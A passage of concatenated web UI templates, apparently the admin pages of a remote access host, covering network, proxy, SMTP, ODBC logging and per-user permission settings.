<input type="button" value="&MSG.ADMIN.REBOOT.RESTARTTITLE&" onclick="window.location='restart.html?type=ra'"><br><br>

<?else?>

<script language="JavaScript">
function rr(inp) { inp.form.restart.value='yes'; }
</script>
<br>
<fieldset><legend>&CONFIG.NET.GENERALSETTINGS&</legend><br>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td>*&CONFIG.NET.ListenPort&:</td>
<td><input type="text" name="ListenPort" size="7" value="&ListenPort&" onchange="rr(this)" <?disabled ListenPort.LOCKED?>></td>
</tr>
<?if IsDirectAccessAllowed?>
<tr>
<td>*&CONFIG.NET.ListenIP&:</td>
<td><select name="ListenIP" size="4" onchange="rr(this)"><?enum ListenIPs?><option value="&ListenIPs.Value&" <?selected ListenIP=ListenIPs.Value?>>&ListenIPs.Display&</option><?next?></select></td>
</tr>
<?endif?>
<?if IsDirectAccessAllowed or BRAND.LOGMEIN?>
<tr>
<td>*&CONFIG.NET.IPFilter&:</td>
<td>
<?if IPFilters>0?>
<select name="IPFilter" size="1" onchange="rr(this)"><option value="">&CONFIG.NONE&<?enum IPFilters?><option &IPFilter.selected&>&IPFilter.Name&</option><?next?></select>
<a href="cfgfilter.html?back=%TEMPLATE%">&nbsp;&MSG.CONFIG.IPFILTER.VIEW&</a>
<?else?>
<input type="button" value="&MSG.CONFIG.IPFILTER.ADDFILTER&" onclick="window.location='cfgfilter.html?back=$TEMPLATE$'">
<?endif?>
</td>
</tr>
<?endif?>
<?if IsDirectAccessAllowed?>
<?if not UI="secrem"?>
<tr>
<td>&CONFIG.NET.AcceptUnsecured&:</td>
<td><input type="checkbox" name="AcceptUnsecured" value="1" <?disabled not SSLOK?> &AcceptUnsecured&></td>
</tr>
<?endif?>
<?else?>
<input type="hidden" name="ListenPort" value="&ListenPort&">
<input type="hidden" name="ListenIP" value="&ListenIP&">
<input type="hidden" name="IPFilter" value="&IPFilter&">
<?if AcceptUnsecured?><input type="hidden" name="AcceptUnsecured" value="1"><?endif?>
<?endif?>
<?if not UI="secrem"?>
<tr>
<td>*&CONFIG.NET.ServicingThreads&:</td>
<td><input type="text" name="ServicingThreads" size="5" value="&ServicingThreads&" onchange="rr(this)" <?disabled ServicingThreads.LOCKED?>></td>
</tr>
<?else?>
<input type="hidden" name="ServicingThreads" value="&ServicingThreads&">
<?endif?>
<tr>
<td>&CONFIG.NET.IdleTimeOut&:</td>
<td><input type="text" name="IdleTimeOut" size="12" value="<?&IdleTimeOut _spn?>" <?disabled IdleTimeOut.LOCKED?>>&nbsp;(&MSG.SPNFMT&)</td>
</tr>
<?if not BRAND.LOGMEIN.FREE // no file transfer in lMI Free?>
<tr>
<td>&CONFIG.NET.StallTimeOut&:</td>
<td><input type="text" name="StallTimeOut" size="12" value="<?&StallTimeOut _spn?>" <?disabled StallTimeOut.LOCKED?>>&nbsp;(&MSG.SPNFMT&)</td>
</tr>
<tr>
<td>&CONFIG.NET.FileXferCompr&:</td>
<td>
<select name="FileXferCompr" <?disabled FileXferCompr.LOCKED?>>
<option value= "0" <?selected FileXferCompr= "0"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.NONE&</option>
<option value="-1" <?selected FileXferCompr="-1"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.FAST&</option>
<option value= "1" <?selected FileXferCompr= "1"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.LOW&</option>
<option value= "6" <?selected FileXferCompr= "6"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.NORMAL&</option>
<option value= "9" <?selected FileXferCompr= "9"?>>&CONFIG.NET.FILEXFERCOMPRVALUE.BEST&</option>
</select>
</td>
</tr>
<tr>
<td>&CONFIG.NET.FileXferDnBW&:</td>
<td><input type="text" name="FileXferDnBW" size="7" value="&FileXferDnBW&" <?disabled FileXferDnBW.LOCKED?>>&nbsp;&FTP.KBPS&</td>
</tr>
<tr>
<td>&CONFIG.NET.FileXferUpBW&:</td>
<td><input type="text" name="FileXferUpBW" size="7" value="&FileXferUpBW&" <?disabled FileXferUpBW.LOCKED?>>&nbsp;&FTP.KBPS&</td>
</tr>
<tr>
<td colspan=2 align="center">&FTP.BLNOTE&</td>
</tr>
<?endif?>
<?if IsDirectAccessAllowed?>
<tr>
<td>&CONFIG.NET.ForceTunnel&:</td>
<td><input type="checkbox" name="ForceTunnel" value="1" &ForceTunnel&></td>
</tr>
<?else?>
<?if ForceTunnel?><input type="hidden" name="ForceTunnel" value="1"><?endif?>
<?endif?>
<tr>
<td>&CONFIG.NET.VersionCheck&:</td>
<td><input type="checkbox" name="VersionCheck" value="1" &VersionCheck& <?disabled VersionCheck.LOCKED?>></td>
</tr>
<? if BRAND.LOGMEIN?>
<tr>
<td>&CONFIG.NET.AutoStartUpdate&:</td>
<td><input type="checkbox" name="AutoStartUpdate" value="1" &AutoStartUpdate& <?disabled AutoStartUpdate.LOCKED?>></td>
</tr>
<tr>
<td>&CONFIG.NET.WolFromSleepEnabled&:</td>
<td><input type="checkbox" name="WolFromSleepEnabled" value="1" &WolFromSleepEnabled& <?disabled WolFromSleepEnabled.LOCKED?>></td>
</tr>
<? endif ?>
</table><br>
</fieldset>
<br><br>
<?if BRAND.LOGMEIN?>
<fieldset><legend>&MSG.CONFIG.PROXY.TITLE&</legend><br>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td colspan="2" align="left">&MSG.CONFIG.PROXY.NOTE&<br><br></td>
</tr>
<tr>
<td>&MSG.CONFIG.PROXY.SERVER&:</td>
<td>
<input type="text" name="ProxyAddr" size="22" value="&ProxyAddr&" onkeyup="proxyCheck()" onchange="proxyCheck()" <?disabled ProxyAddr.LOCKED?>>
:<input type="text" name="ProxyPort" size="4" value="&ProxyPort&" <?disabled ProxyPort.LOCKED?>>
</td>
</tr>
<tr>
<td></td>
<td>
<?if not ISUNIX?>
<input type="submit" name="GetRegProxy" value="&MSG.CONFIG.PROXY.GETPROXY&" <?disabled ProxyAddr.LOCKED?>>
<?endif?>
<input type="submit" name="ProxyTest" value="&MSG.CONFIG.PROXY.TEST&">
</td>
</tr>	
<tr>
<td>&MSG.CONFIG.PROXY.USER&:</td>
<td><input type="text" name="ProxyUsername" size="30" value="&ProxyUsername&" <?disabled ProxyUsername.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.PROXY.PASS&:</td>
<td><input type="password" name="ProxyPassword" size="30" value="&INVALIDPASSWORD&" <?disabled ProxyPassword.LOCKED?>></td>
</tr>
</table><br>
<script language="JavaScript"?>
function proxyCheck() {
var form = document.forms[0];
form.ProxyTest.disabled = (form.ProxyAddr.value.length == 0);
}
proxyCheck();
<?if ProxyTest?>
function proxyResult() {
<?if ProxyTest="ok"?>
var msg = '$MSG.CONFIG.PROXY.TESTOK$';
<?else?>
var msg = '$MSG.CONFIG.PROXY.TESTFAILED$';
<?if WINERRMSG?>msg += '\r\n$MSG.DIALOG.ERROR$: $WINERRMSG$';<?endif?>
<?endif?>
alert(msg);
}
setTimeout("proxyResult()", 10);
<?endif?>
</script>
</fieldset>
<br><br>
<?endif?>
<?if not BRAND.LOGMEIN.FREE // no SMTP settings for LMI Free ?>
<fieldset><legend>&MSG.CONFIG.SMTP.TITLE&</legend><br>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td colspan="2" align="left">&MSG.CONFIG.SMTP.NOTE&<br><br></td>
</tr>
<tr>
<td>&MSG.CONFIG.SMTP.SERVER&:</td>
<td><input type="text" name="SmtpServer" size="24" value="&SmtpServer&" onkeyup="smtpCheck()" onchange="smtpCheck()" <?disabled SmtpServer.LOCKED?>>:<input type="text" name="SmtpPort" size="3" value="&SmtpPort&" <?disabled SmtpServer.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.SMTP.SECURE&:</td>
<td><input type="checkbox" name="SmtpSecure" value="1" &SmtpSecure& <?disabled SmtpSecure.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.SMTP.USER&:</td>
<td><input type="text" name="SmtpUsername" size="30" value="&SmtpUsername&" <?disabled SmtpUsername.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.SMTP.DOMAIN&:</td>
<td><input type="text" name="SmtpDomain" size="30" value="&SmtpDomain&" <?disabled SmtpDomain.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.SMTP.PASS&:</td>
<td><input type="password" name="SmtpPassword" size="30" value="&INVALIDPASSWORD&" <?disabled SmtpPassword.LOCKED?>></td>
</tr>
<tr>
<td>&MSG.CONFIG.SMTP.SENDER&:</td>
<td><input type="text" name="SmtpSender" size="40" value="&SmtpSender&" <?disabled SmtpSender.LOCKED?>></td>
</tr>
<tr><td colspan="2">&nbsp;</td></tr>
<tr>
<td>&MSG.CONFIG.DYNIP.TEST.RCPT&:</td>
<td>
<input type="text" name="SmtpRecipient" value="&REQ.SmtpRecipient&" onkeyup="smtpCheck()" onchange="smtpCheck()">
<input type="submit" name="SmtpTest" value="&MSG.CONFIG.DYNIP.TEST.SEND&">
</td>
</tr>
</table><br>

<script language="JavaScript">
function smtpCheck() {
var form = document.forms[0];
var sl = form.SmtpServer.value.length;
var rl = form.SmtpRecipient.value.length;
form.SmtpRecipient.disabled = (sl == 0);
form.SmtpTest.disabled = (sl == 0 || rl == 0);
}
smtpCheck();
<?if SmtpTest?>
function smtpResult() {
var msg;
<?if SmtpTest="ok"?>
msg = '$MSG.CONFIG.DYNIP.TEST.SUCC$';
<?else?>
msg = '$MSG.CONFIG.DYNIP.TEST.FAIL$';
<?if WINERRMSG?>msg += '\r\n$MSG.DIALOG.ERROR$: $WINERRMSG$';<?endif?>
<?endif?>
alert(msg);
}
setTimeout("smtpResult()", 10);
<?endif?>
</script>
</fieldset>
<?endif?>
<br><br>


<?if IsDirectAccessAllowed?>
<fieldset><legend>&MSG.CONFIG.DYNIP.TITLE&</legend><br>
<table width="90%">
<col align="right" width="50%">
<col align="left" width="50%">
<tr>
<td colspan="2" align="center">&MSG.CONFIG.DYNIP.NOTE&<br><br></td>
</tr>
<?if SmtpServer?>
<tr>
<td>&MSG.CONFIG.DYNIP.RCPT&:</td>
<td><input type="text" name="DynIpMailTo" size="30" value="&DynIpMailTo&"></td>
</tr>
<tr>
<td>&MSG.CONFIG.DYNIP.INTERVAL&:</td>
<td><input type="text" name="DynIpCheckInterval" size="12" value="<?&DynIpCheckInterval_spn?>">&nbsp;(&MSG.SPNFMT&)</td>
</tr>
<?else?>
<tr>
<td colspan="2" align="center"><font color="&COLOR.Link&">&MSG.CONFIG.DYNIP.NOSMTP&</font><br><br></td>
</tr>
<?endif?>
</table><br>
</fieldset>
<?endif?>

<br><br>
<input type="submit" name="submit" value="&DIALOG.APPLY&">
<?if UI="secrem"?>
&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='lmipref.html'">
<?endif?>
<br><br>
<font color="<?&COLOR.Link?>">*&MSG.CONFIG.NEEDRESTART&</font>
<br><br>

<?endif // REQ.RESTART?>

</form>
</center>
</div>
</body>
</html>
(l8cfgodbc.htmlt<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?
if REQ.OP="update"
action "cfgodbcupdate"
usemacro WINERRDLG()
elseif REQ.OP="test"
action "cfgodbcupdate"
usemacro WINERRDLG()
action "cfgodbctest"
usemacro WINERRDLG()
endif

action "cfgodbc"
usemacro WINERRDLG()
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&MSG.CONFIG.ODBC.TITLE&<?if MSG?> - &CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.ODBC.TITLE%&favicon=menu_schedule.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<center>

<form action="&TEMPLATE&" method="post">
<br>

<?if ODBCCONNERR?>
<b><br><font color="<?&COLOR.Link?>">&MSG.CONFIG.ODBC.CONNERR&<br>&ODBCCONNERR&</font><br><br></b>
<?elseif ODBCWRITEERR?>
<b><br><font color="<?&COLOR.Link?>">&MSG.CONFIG.ODBC.WRITEERR&<br>&ODBCWRITEERR&</font><br><br></b>
<?elseif REQ.OP="update"?>
<b><br><font color="<?&COLOR.Link?>">&MSG.CONFIG.ODBC.UPDATED&</font><br><br></b>
<?elseif REQ.OP="test"?>
<b><br><font color="<?&COLOR.Link?>">&MSG.CONFIG.ODBC.TESTWRITTEN&</font><br><br></b>
<?endif?>
<fieldset><br>
<input type="hidden" name="op" value="update">
<table>
<tr>
<td align="right">&MSG.CONFIG.ODBC.DATASOURCE&:</td>
<td><input type="text" name="DATASOURCE" value="&DATASOURCE&">&nbsp;&MSG.CONFIG.ODBC.DATASOURCE.NOTE&</td>
</tr>
<tr><td>&nbsp;</td></tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.USERNAME&:</td>
<td><input type="text" name="ODBCUSER" value="&ODBCUSER&">&nbsp;&MSG.CONFIG.ODBC.USERNAME.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.PASSWORD&:</td>
<td><input type="password" name="ODBCPW" value="&INVALIDPW&">&nbsp;&MSG.CONFIG.ODBC.PASSWORD.NOTE&</td>
</tr>
<tr><td>&nbsp;</td></tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.TABLE&:</td>
<td><input type="text" name="ODBCTABLE" value="&ODBCTABLE&">&nbsp;&MSG.CONFIG.ODBC.TABLE.NOTE&</td>
</tr>
<tr><td colspan="2" align="center"><br><br><b>&MSG.CONFIG.ODBC.COLUMNS&</b><br></td></tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.TIMESTAMP&:</td>
<td><input type="text" name="COLTIMESTAMP" value="&COLTIMESTAMP&">&nbsp;&MSG.CONFIG.ODBC.TIMESTAMP.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.MACHINE&:</td>
<td><input type="text" name="COLMACHINE" value="&COLMACHINE&">&nbsp;&MSG.CONFIG.ODBC.MACHINE.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.MESSAGE&:</td>
<td><input type="text" name="COLMESSAGE" value="&COLMESSAGE&">&nbsp;&MSG.CONFIG.ODBC.MESSAGE.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.LEVEL&:</td>
<td><input type="text" name="COLLEVEL" value="&COLLEVEL&">&nbsp;&MSG.CONFIG.ODBC.LEVEL.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.MODULE&:</td>
<td><input type="text" name="COLMODULE" value="&COLMODULE&">&nbsp;&MSG.CONFIG.ODBC.MODULE.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.FACILITY&:</td>
<td><input type="text" name="COLFACILITY" value="&COLFACILITY&">&nbsp;&MSG.CONFIG.ODBC.FACILITY.NOTE&</td>
</tr>
<tr>
<td align="right">&MSG.CONFIG.ODBC.CLIENT&:</td>
<td><input type="text" name="COLCLIENT" value="&COLCLIENT&">&nbsp;&MSG.CONFIG.ODBC.CLIENT.NOTE&</td>
</tr>
</table>
<br>
<input type="submit" value="&DIALOG.APPLY&">
<?if UI="secrem"?>
&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='cfglog.html'">
<?endif?>
<br><br>
<input type="submit" value="&MSG.CONFIG.ODBC.TEST&" onclick="this.form.op.value='test'">&nbsp;
<input type="text" name="TESTMSG" value="&MSG.CONFIG.ODBC.TESTMSG&"><br><br>
</fieldset>
<br><br>
<fieldset><br>
<font color="<?&COLOR.Link?>">&MSG.CONFIG.ODBC.DETAIL&</font><br><br>
</fieldset>
</form>
</center>
</div>
</body>
</html>
%/cfgperm.html^gM<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "passsave.inc"?>
<script type="text/javascript" src="js/window.js"></script>
</head>

<body>
<?
// check which submit button was pushed and force op accordingly
if REQ.USERADD
set REQ.OP = "editnew"
elseif REQ.USERLIST
set REQ.OP = "editlist"
elseif REQ.USERUPDATE
set REQ.OP = "updateentry"
endif

action "cfgperm"
usemacro WINERRDLG()
?>

<?defmacro TICKS()?>
<script language="JavaScript">
function tipPerm(e,msg) {
showTip(e,msg,false,'INPUT')
}
function handleRemoteControlWriteClick(cb)
{
document.getElementById("blankScreen").checked = cb.checked;
document.getElementById("ctrlAltDel").checked = cb.checked;
document.getElementById("keystrokes").checked = cb.checked;
document.getElementById("resolutionChange").checked = cb.checked;
document.getElementById("blankScreen").disabled = !cb.checked;
document.getElementById("ctrlAltDel").disabled = !cb.checked;
document.getElementById("keystrokes").disabled = !cb.checked;
document.getElementById("resolutionChange").disabled = !cb.checked;
}
window.onload = function ()
{
if (!document.getElementById("remoteControlWrite").checked)
{
document.getElementById("blankScreen").disabled = true;
document.getElementById("ctrlAltDel").disabled = true;
document.getElementById("keystrokes").disabled = true;
document.getElementById("resolutionChange").disabled = true;
}
};
</script>
<table>
<col align="left">
<col align="center">
<col align="center">
<col align="center">
<tr>
<th><?&MSG.CONFIG.PERMISSIONS.PERMISSIONNAME?></th>
<th>R</th>
<th>W</th>
<th>D</th>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.BASIC?></td>
<td><input type="checkbox" name="mask1" value="1" =MASK1= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.BASIC.R$')"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.CONFIGURE?></td>
<td><input type="checkbox" name="mask2" value="1" =MASK2= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.CONFIGURE.R$')"></td>
<td><input type="checkbox" name="mask4" value="1" =MASK4= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.CONFIGURE.W$')"></td>
<?if not BRAND.LOGMEIN?>
<td><input type="checkbox" name="mask8" value="1" =MASK8= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.CONFIGURE.D$')"></td>
<?endif?>
</tr>
<?if ISNT and not BRAND.LOGMEIN.FREE?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.EVENTVIEW?></td>
<td><input type="checkbox" name="mask128" value="1" =MASK128= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.EVENTVIEW.R$')"></td>
<td></td>
<td><input type="checkbox" name="mask512" value="1" =MASK512= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.EVENTVIEW.D$')"></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.FILE?></td>
<td><input type="checkbox" name="mask1024" value="1" =MASK1024= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.FILE.R$')"></td>
<td><input type="checkbox" name="mask2048" value="1" =MASK2048= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.FILE.W$')"></td>
<td><input type="checkbox" name="mask4096" value="1" =MASK4096= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.FILE.D$')"></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE and not ISUNIX?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.REGISTRY?></td>
<td><input type="checkbox" name="mask8192"  value="1" =MASK8192=  onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.REGISTRY.R$')"></td>
<td><input type="checkbox" name="mask16384" value="1" =MASK16384= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.REGISTRY.W$')"></td>
<td><input type="checkbox" name="mask32768" value="1" =MASK32768= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.REGISTRY.D$')"></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE and not ISUNIX?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.PERFORMANCE?></td>
<td><input type="checkbox" name="mask65536" value="1" =MASK65536= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.PERFORMANCE.R$')"></td>
<td></td>
<td></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE and not ISUNIX?>
<tr>		
<td><?&MSG.CONFIG.PERMISSIONS.PROCESS?></td>
<td><input type="checkbox" name="mask131072" value="1" =MASK131072= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.PROCESS.R$')"></td>
<td><input type="checkbox" name="mask262144" value="1" =MASK262144= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.PROCESS.W$')"></td>
<td><input type="checkbox" name="mask524288" value="1" =MASK524288= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.PROCESS.D$')"></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.REBOOT?></td>
<td></td>
<td><input type="checkbox" name="mask1048576" value="1" =MASK1048576= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.REBOOT.W$')"></td>
<td></td>
</tr>
<?endif?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.RC?></td>
<?if not BRAND.LOGMEIN.FREE?>
<td><input type="checkbox" name="mask2097152"     value="1" =MASK2097152=     onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.RC.R$')"></td>
<?else?>
<td><input type="checkbox" name="mask2097152"     value="1" =MASK2097152=     onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.RC.R.LOGMEINFREE$')"></td>
<?endif?>
<td><input type="checkbox" name="mask4194304"     value="1" =MASK4194304=     onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.RC.W$')" id="remoteControlWrite" onclick="handleRemoteControlWriteClick(this);"></td>
<td><input type="checkbox" name="mask68719476736" value="1" =MASK68719476736= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.RC.D$')"></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.WHITEBOARD?></td>
<td></td>
<td><input type="checkbox" name="mask549755813888"  value="1" =MASK549755813888=  onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.WHITEBOARD.W$')"></td>
<td></td>
</tr>
<?if not ISUNIX?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.CHAT?></td>
<td></td>
<td><input type="checkbox" name="mask274877906944"  value="1" =MASK274877906944=  onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.CHAT.W$')"></td>
<td></td>
</tr>
<?endif?>
<?if ISNT and not BRAND.LOGMEIN.FREE?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.ACCOUNTS?></td>
<td><input type="checkbox" name="mask8388608"  value="1" =MASK8388608=  onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.ACCOUNTS.R$')"></td>
<td><input type="checkbox" name="mask16777216" value="1" =MASK16777216= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.ACCOUNTS.W$')"></td>
<td><input type="checkbox" name="mask33554432" value="1" =MASK33554432= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.ACCOUNTS.D$')"></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE and not ISUNIX?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SYSCONFIG?></td>
<td><input type="checkbox" name="mask67108864"  value="1" =MASK67108864=  onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SYSCONFIG.R$')"></td>
<td><input type="checkbox" name="mask134217728" value="1" =MASK134217728= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SYSCONFIG.W$')"></td>
<td><input type="checkbox" name="mask268435456" value="1" =MASK268435456= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SYSCONFIG.D$')"></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SSHSHELL?></td>
<td><input type="checkbox" name="mask536870912" value="1" =MASK536870912= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SSHSHELL.R$')"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SSHPF?></td>
<td><input type="checkbox" name="mask1073741824" value="1" =MASK1073741824= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SSHPF.R$')"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SSHPFUNREST?></td>
<td><input type="checkbox" name="mask1099511627776" value="1" =MASK1099511627776= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SSHPFUNREST.R$')"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><input type="button" value="&MSG.CONFIG.PERMISSIONS.SSHPFRESTLINK&" onclick="window.location='cfgsshportfwd.html?op=list&<?if IsNT or IsUNIX?>sid=%SID%<?else?>accname=%NAME%<?endif?>'"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.AFTERSSHPFCHANGED?></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SSHPRIVPF?></td>
<td><input type="checkbox" name="mask2147483648" value="1" =MASK2147483648= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SSHPRIVPF.R$')"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SSHSCP?></td>
<td><input type="checkbox" name="mask4294967296" value="1" =MASK4294967296= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SSHSCP.R$')"></td>
<td></td>
<td></td>
</tr>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.SSHSFTP?></td>
<td><input type="checkbox" name="mask8589934592" value="1" =MASK8589934592= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.SSHSFTP.R$')"></td>
<td></td>
<td></td>
</tr>
<?endif?>
<?if not ISUNIX and not BRAND.LOGMEIN.FREE?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.TELNETJAVA?></td>
<td><input type="checkbox" name="mask17179869184" value="1" =MASK17179869184= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.TELNETJAVA.R$')"></td>
<td></td>
<td></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.TELNET?></td>
<td><input type="checkbox" name="mask34359738368" value="1" =MASK34359738368= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.TELNET.R$')"></td>
<td></td>
<td></td>
</tr>
<?endif?>
<?if not BRAND.LOGMEIN.FREE?>
<tr>
<td><?&MSG.CONFIG.PERMISSIONS.GUESTINVITE?></td>
<td></td>
<td></td>
<td><input type="checkbox" name="mask137438953472" value="1" =MASK137438953472= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.GUESTINVITE.D$')"></td>
</tr>
<?endif?>
<tr <?if not BRAND.LOGMEIN?> style="display:none" <?endif?>>
<td><?&MSG.CONFIG.PERMISSIONS.BLANKSCREEN?></td>
<td></td>
<td><input type="checkbox" name="mask2199023255552" value="1" =MASK2199023255552= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.BLANKSCREEN.W$')" id="blankScreen"></td>
<td></td>
</tr>
<?if ISUNIX?>
<tr <?if not BRAND.LOGMEIN?> style="display:none" <?endif?>>
<td><?&MSG.CONFIG.PERMISSIONS.CMDALTESC?></td>
<td></td>
<td><input type="checkbox" name="mask4398046511104" value="1" =MASK4398046511104= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.CMDALTESC.W$')" id="ctrlAltDel"></td>
<td></td>
</tr>
<?else?>
<tr>
<tr <?if not BRAND.LOGMEIN?> style="display:none" <?endif?>>
<td><?&MSG.CONFIG.PERMISSIONS.CTRLALTDEL?></td>
<td></td>
<td><input type="checkbox" name="mask4398046511104" value="1" =MASK4398046511104= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.CTRLALTDEL.W$')" id="ctrlAltDel"></td>
<td></td>
</tr>
<?endif?>
<tr <?if not BRAND.LOGMEIN?> style="display:none" <?endif?>>
<td><?&MSG.CONFIG.PERMISSIONS.KEYSTROKES?></td>
<td></td>
<td><input type="checkbox" name="mask8796093022208" value="1" =MASK8796093022208= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.KEYSTROKES.W$')" id="keystrokes"></td>
<td></td>
</tr>
<tr <?if not BRAND.LOGMEIN?> style="display:none" <?endif?>>
<td><?&MSG.CONFIG.PERMISSIONS.RESOLUTIONCHANGE?></td>
<td></td>
<td><input type="checkbox" name="mask17592186044416" value="1" =MASK17592186044416= onmouseover="tipPerm(event,'$MSG.CONFIG.PERMISSIONS.RESOLUTIONCHANGE.W$')" id="resolutionChange"></td>
<td></td>
</tr>
<!-- next mask value: 35184372088832 -->
</table><br>
<?&MSG.CONFIG.PERMISSIONS.SEETIPS?><br>
<hr>
<table>
<tr>
